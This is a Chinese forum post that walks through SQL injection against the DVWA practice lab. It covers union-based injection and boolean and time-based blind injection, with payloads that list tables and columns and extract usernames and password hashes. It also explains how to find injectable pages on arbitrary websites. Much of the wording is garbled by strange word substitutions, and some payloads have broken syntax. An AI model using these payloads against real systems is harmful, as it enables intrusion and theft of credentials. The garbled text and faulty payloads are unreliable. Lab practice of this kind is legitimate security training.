SQL注入攻击实例-DVWA靶场

打印 上一主题 下一主题

主题 854|帖子 854|积分 2562

DVWA

平凡注入

低级别

1.判断是否存在毛病

  1. '
复制代码

2.判断是数字型照旧字符型

  1. 1 and 1=1
复制代码

  1. 1 and 1=2
复制代码

两种方式均能返回值,说明是字符型而不是数字型
3.猜当前页面字段总数

  1. 1'
  2. order by 2 ##:起到将反面字符全部解释的作用
复制代码

返回正常界面

  1. 1'
  2. order by 3 #
复制代码

报错

=>字段数为2
4.猜解页面中表现的字段编号

  1. 1'
  2. and 1=2 union select 1,2#
复制代码
5.猜解当前网站数据库名称

  1. 1'
  2. and 1=2 union select 1,database()#
复制代码

6.猜解当前数据库中所有的表

  1. 1'
  2. and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
复制代码

7.猜解指定表中所有字段名称

  1. 1'
  2. and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='
  3. users'
  4. #
复制代码

8.猜解user和password表的具体内容

  1. 1'
  2. and 1=2 union select user,password from users#
复制代码

9.对猜解出的MD5内容进行处理

中级别

URL无表现及无get传参且没有输入框,无法通过输入框进行注入

采用burp suite抓包即可

1.判断是否存在注入

  1. '
复制代码

2.确定注入点范例

  1. 1 and 1=1
复制代码

  1. 1 and 1=2
复制代码

当前存在注入点范例为数字型
3.猜解当前页面字段总数

  1. 1 order by 2
复制代码

  1. 1 order by 3
复制代码

判断出当前页面字段总数为2
4.猜解页面中表现的字段编号

  1. 1 and 1=2
  2. union select 1,2
复制代码

5.猜解当前网站数据库名称

  1. 1 and 1=2
  2. union select 1,database()
复制代码

6.猜解当前数据库所有表的名称

  1. 1 and 1=2
  2. union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
复制代码

7.猜解指定表中的字段名称

  1. 1 and 1=2
  2. union select 1,group_concat(column_name) from information_schema.columns where table_name= '
  3. users'
复制代码

会报错:安全配置对单引号进行了转义
解决方法:通过16进制编码绕过
网站:http://kw360.net/ox2str/

  1. 1 and 1=2
  2. union select 1,group_concat(column_name) from information_schema.columns where table_name= 0x7573657273
复制代码
在数字前加上0x,电脑会主动识别其为16进制并将其转换成users

8.猜解user和password表中具体内容

  1. 1 and 1=2
  2. union select user,password from users
复制代码

高级别

安全配置防止工具主动化注入,手工注入没有影响
盲注

低级别(布尔型盲注)

1.寻找可能存在 SQL注入点的页面

GET方式

通过把参数附加在URL中进行提交
寻找如下形式的网页链接
  1. http://www.xxx.com/**asp?id=xx
  2. http://www.xxx.com/**.php?id=xx
  3. http://wwwxxx.com/**aspx?id=xx
  4. http://www.xxx.com/**.jsp?id=xx
复制代码
测试
在URL后参加单引号查看是否存在注入毛病
报错则说明存在注入毛病
POST方式

通过把参数封装在数据包内容中进行提交
寻找存在表单元素的页面
  1. 文本框
  2. 单选按钮
  3. 复选框
  4. 文件浏览框
  5. 提交按钮
复制代码
测试

在文本框输入的内容后参加单引号查看是否存在注入毛病
报错则说明存在注入毛病
2.确认注入点范例

数字型

  1. 在URL后加入 and1=1 能正常返回数据
  2. 在URL后加入and1=2  查询不到数据
复制代码
字符型

  1. 在URL后参加'
  2. and 1=1#  能正常返回数据在URL后参加'
  3. and 1=2#  查询不到数据
复制代码
  1. 1 and 1=1
复制代码

  1. 1 and 1=2
复制代码

判断其为字符型而不是数字型
  1. 如果不敢肯定也可以通过字符型判断语句来确定1'
  2. and 1=1#   1'
  3. and 1=2#
复制代码
3.猜解当前数据库名字的长度

  1. 在URL后加上1’and length (database())>4#
  2. 在URL后加上1’and length (database())=4#
  3. 在URL后加上1’and length (database())<4#
复制代码
渐渐增大猜测的数字,当返回结果是 exists 时说明猜测正确

通过上述可知,数据名称长度为4
4.猜解数据库名字的第一个字符

  1. 在URL后加上1'
  2. and ascii(substr(database(),1,1))>96#在URL后加上1'
  3. and ascii(substr(database(),1,1))<123#
复制代码
如果返回结果是 exists,说明第一个字符是小写字母
渐渐增加96这个数字或者渐渐减小123,直至查询不出数据,说明猜对
5.按照上一步的方法,逐个猜解出数据库名的每个字符

6.猜解当前数据库中一共有多少张表

  1. 在URL反面加1'
  2. and (select count(table_name) from information_schema.tables where table_schema=database())=3#...(同上)
复制代码

  1. 在URL反面加1'
  2. and (select count(table_name) from information_schema.tables where table_schema=database())=2#
复制代码

渐渐增大数字,直到返回exists,说明表的总数猜对
7.猜解第一张表的表名长度

  1. 在URL后加上1'
  2. and length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=9#
复制代码
渐渐增大数字,直到返回exists,说明表名的长度猜对

8.猜解第一张表名的第一个字符

  1. 在URL后加上1'
  2. and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96#
复制代码

9.按照上一步的方法,逐个猜解出第一张表的完备表名

10.按照7,8,9的步调,猜解第二张表的表名

####11.猜解目标表的总字段数
  1. 在URL后上1'
  2. and (select count(column_name) from information_schema.columns where table_name='
  3. users'
  4. )=8#
复制代码

12.按照猜解表名的方式,依次猜解目标表的字段名

  1. 1'
  2. and ascii(substr((select column_name from information_schema.columns where table_name='
  3. users'
  4. limit 0,1)1,1))>96#
复制代码
13.按照同样的方式,依次猜解目标表的字段内容

中级别(时间型盲注)

用bp抓包,雷同的流程走一遍,特别字符进行转义处理
  1. 1'
  2. and sleep(5)#或1 and sleep(5)1'
  3. and if(length(database()))=4,sleep(5),1)#1'
  4. and if(ascii(substr(database(),1,1))>96,sleep(5),1)#1'
  5. and if(ascii(substr(database(),1,1))<123,sleep(5),1)#
复制代码
注入原理和布尔盲注一样,唯一的区别是布尔型盲注可以通过差别回显来猜解信息,而时间型盲注只能通过基于时间延迟来进行猜解

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

我爱普洱茶

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表